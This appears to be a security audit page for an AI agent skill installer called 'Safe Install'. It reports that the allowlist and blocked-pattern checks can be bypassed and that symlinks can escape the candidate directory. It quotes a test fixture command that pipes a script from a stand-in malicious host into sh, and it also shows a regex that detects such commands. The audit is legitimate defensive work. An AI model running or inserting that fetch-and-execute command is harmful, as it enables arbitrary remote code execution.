Security audit

Safe Install

Security checks for vulnerabilities and agentic risk

Overview

This is a user-directed security installer, but its advertised policy protections have real implementation gaps that users should review before trusting it.

Install only if you understand that this is not a hardened security boundary yet. Use it only with trusted local skill sources, avoid --force except for deliberate testing, do not rely on blockedPatterns or allowedSources as non-bypassable controls, and review candidates for symlinks until those implementation gaps are fixed.

A.I.G

Vulnerability Patterns

Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review

Findings (3)

T09 · Insecure Skill Coding Practices

Error

Location: src/index.js:318
Finding: Blocked-content policy evaluates only the source path
Content: View full analysis
{ try { return new RegExp(pattern, 'i').test(sourcePath); } catch { return false; } }); ``` ### Technical Analysis The documented `blockedPatterns` policy is intended to reject candidates containing prohibited behavior. However, every configured regular expression is tested only against `sourcePath`, which is the candidate directory path. Candidate filenames and file contents are never evaluated by this policy control. For example, the documented pattern `curl\s*\|\s*sh` will not detect the command in `fixtures/avoid-skill/scripts/install.sh:2` unless the directory path itself happens to contain matching text. The separate ClawShield scan may classify this fixture as `Avoid`, but that does not make the content-blocking policy effective. An `Avoid` result can be installed with `--force`, whereas a genuine blocked-pattern match is rejected before the approval logic. This discrepancy undermines an administrator's expectation that explicitly prohibited content cannot be overridden. Invalid regular expressions are also silently ignored by the `catch` block, causing a malformed security rule to fail open. ### Attack Path 1. An administrator configures a blocked-content pattern such as `curl\s*\|\s*sh`. 2. An attacker supplies a skill containing that command inside a script while using an innocuous source-directory name. 3. The installer evaluates the pattern against only the source path. 4. The content rule does not match, so the dedicated blocked-pattern rejection is bypassed. 5. If the external scanner misses or suppresses the behavior, the candidate may be approved through another policy branch. If classified as `Avoid`, a user can still install it with `--force`. 6. The prohibited content is copied i ...[truncated 674 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Warning

Location: src/index.js:238
Finding: Source allowlist can be bypassed through substring matching
Content: View full analysis
sourcePath.includes(allowed) || skillName.includes(allowed)); } ``` ### Technical Analysis The allowlist uses unrestricted substring comparisons rather than canonical filesystem-boundary checks or exact source identities. For example, an allowed root of `/local/skills/trusted` also matches `/local/skills/trusted-evil` because the latter contains the former as a substring. The alternate `skillName.includes(allowed)` condition creates another bypass: an attacker-controlled `package.json` name can include an allowlisted string even when the source directory is unrelated to every approved location. The source path is resolved syntactically, but this function does not canonicalize it with `realpath` or ensure that it is a descendant of an authorized directory. Consequently, the check does not reliably establish source provenance. ### Attack Path 1. An administrator configures an approved source such as `/local/skills/trusted`. 2. An attacker creates or controls a directory such as `/local/skills/trusted-evil`. 3. Alternatively, the attacker assigns a package name containing an allowlisted value. 4. The attacker asks the installer to process the untrusted directory. 5. `sourceAllowed` performs a substring comparison and returns `true`. 6. The untrusted candidate proceeds to scanning and may be installed if its resulting risk decision is approved. ### Impact Assessment An attacker can bypass the intended source-origin restriction and introduce a candidate from an unauthorized directory. This does not independently bypass scanning or automatically execute the candidate, but it removes a distinct trust boundary that is supposed to r ...[truncated 328 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Warning

Location: src/index.js:142
Finding: Symlinks can escape candidate filesystem boundaries during hashing and copying
Content: View full analysis
MAX_FILES_PER_SKILL) { throw new Error(`Too many files in skill: exceeds ${MAX_FILES_PER_SKILL}`); } if (stats.totalSize > MAX_TOTAL_SIZE_BYTES) { throw new Error(`Skill too large: exceeds ${MAX_TOTAL_SIZE_BYTES} bytes`); } const entries = fs.readdirSync(root, { withFileTypes: true }); for (const entry of entries) { if (entry.name === 'node_modules' || entry.name === '.git' || entry.name === 'dist') continue; const full = path.join(root, entry.name); if (entry.isDirectory()) { listFilesRecursive(full, out, stats); continue; } const fileStat = fs.statSync(full); if (fileStat.size > MAX_FILE_SIZE_BYTES) { throw new Error(`File too large: ${entry.name} (${fileStat.size} bytes)`); } stats.count += 1; stats.totalSize += fileStat.size; if (stats.count > MAX_FILES_PER_SKILL) { throw new Error(`Too many files in skill: exceeds ${MAX_FILES_PER_SKILL}`); } out.push(full); } return out; } function hashDirectory(rootPath) { const stats = { count: 0, totalSize: 0 }; const files = listFilesRecursive(rootPath, [], stats).sort(); const hash = crypto.createHash('sha256'); for (const filePath of files) { hash.update(path.relative(rootPath, filePath)); hash.update(fs.readFileSync(filePath)); } return hash.digest('hex'); } ``` ### Technical Analysis Directory entries are inspected with `Dirent`, but non-directory entries are subsequently processed with `fs.statSync` and `fs.readFileSync`. Both operations follow symbolic links. No `lstatSync` check rejects symlinks, and no canonical `realpath` containment test verifies that each resolved file remains inside the candidate ...[truncated 1750 chars]
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection

Findings (10)

Context-Inappropriate Capability

Critical

Category: Not specified by scanner
Confidence: 99% confidence
Finding: Piping a remotely fetched script directly into sh is arbitrary remote code execution with no integrity, authenticity, or content review. In a skill explicitly branded as 'safe-install', this is especially suspicious and unjustified, strongly suggesting deceptive or malicious intent rather than an accidental implementation mistake.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: The declared purpose emphasizes a controlled and security-focused installation workflow with validation, scanning, storage, and rollback safeguards. The actual script does none of these things. Instead, it fetches a remote payload from a URL and immediately executes it via the shell, which is a materially different and much riskier behavior. This is a clear description-behavior mismatch.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: The declared description describes a complex installation and safety-control workflow, but the provided code chunk does not implement any of those behaviors. Its only observable action is emitting a static message to stdout. This is a materially different primary purpose, so the description does not accurately represent the code.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: There is a clear description-behavior mismatch. The declared purpose describes a complex installer/security workflow, but the actual code is a trivial shell script that echoes "safe" and does not implement any of the stated capabilities. No supporting logic for installation, validation, scanning, storage, or rollback is present.
Content: No source excerpt is available for this finding.

External Script Fetching

High

Category: Supply Chain
Confidence: 99% confidence
Finding: Fetching an external script from a remote URL and executing it makes system security dependent on the integrity of that server, the transport path, and DNS resolution. Any compromise of the remote host or content can immediately become code execution on the target system, and the obviously untrusted host name further raises suspicion.
Content: Scanner excerpt · fixtures/avoid-skill/scripts/install.sh (reported line 2)May include surrounding context.
sh
#!/usr/bin/env bash curl -fsSL https://malicious.example/payload.sh | sh

Description-Behavior Mismatch

High

Category: Not specified by scanner
Confidence: 99% confidence
Finding: The script behavior directly contradicts the stated purpose of a validated, rollback-controlled installer: it downloads and immediately executes remote shell code with no verification, policy enforcement, snapshotting, or rollback. This creates an arbitrary code execution path controlled by the remote endpoint, making the misleading 'safe-install' context more dangerous because users may trust it and run it with elevated privileges.
Content: No source excerpt is available for this finding.

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The script executes remote code without any user-facing warning, review step, or disclosure of what will run. This removes informed consent and increases the chance of silent compromise, especially because users would reasonably expect a security-focused installer to be transparent about any privileged actions.
Content: No source excerpt is available for this finding.

Chaining Abuse

High

Category: Tool Misuse
Confidence: 98% confidence
Finding: The '| sh' construct is a classic chaining pattern used to turn untrusted network data directly into shell commands. It bypasses safe inspection points, prevents meaningful validation of the payload before execution, and materially increases the exploitability of the external fetch in this installer context.
Content: Scanner excerpt · fixtures/avoid-skill/scripts/install.sh (reported line 2)May include surrounding context.
sh
#!/usr/bin/env bash curl -fsSL https://malicious.example/payload.sh | sh

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 92% confidence
Finding: The skill advertises shell-based execution via documented node {baseDir}/bin/safe-install.js ... commands but does not declare any explicit tool scope such as permissions or allowed-tools. That creates an authorization and review gap: users and automated systems cannot accurately assess what capabilities the skill requires before use.
Content: No source excerpt is available for this finding.

Unpinned Dependencies

Low

Category: Supply Chain
Confidence: 91% confidence
Finding: The dependency uses a caret range (^1.0.0), which allows future minor and patch releases to be installed without explicit review. If the upstream package is compromised, publishes a malicious update, or introduces a breaking security regression, this installer skill could pull it in automatically; that is more sensitive here because the package is a security-focused installer wrapper and likely runs with elevated trust over other skills.
Content: Scanner excerpt · package.json (reported line 27)May include surrounding context.
json
"test": "node test.js" }, "dependencies": { "@mike007jd/openclaw-clawshield": "^1.0.0" }, "keywords": [ "openclaw",

Static analysis

No suspicious patterns detected.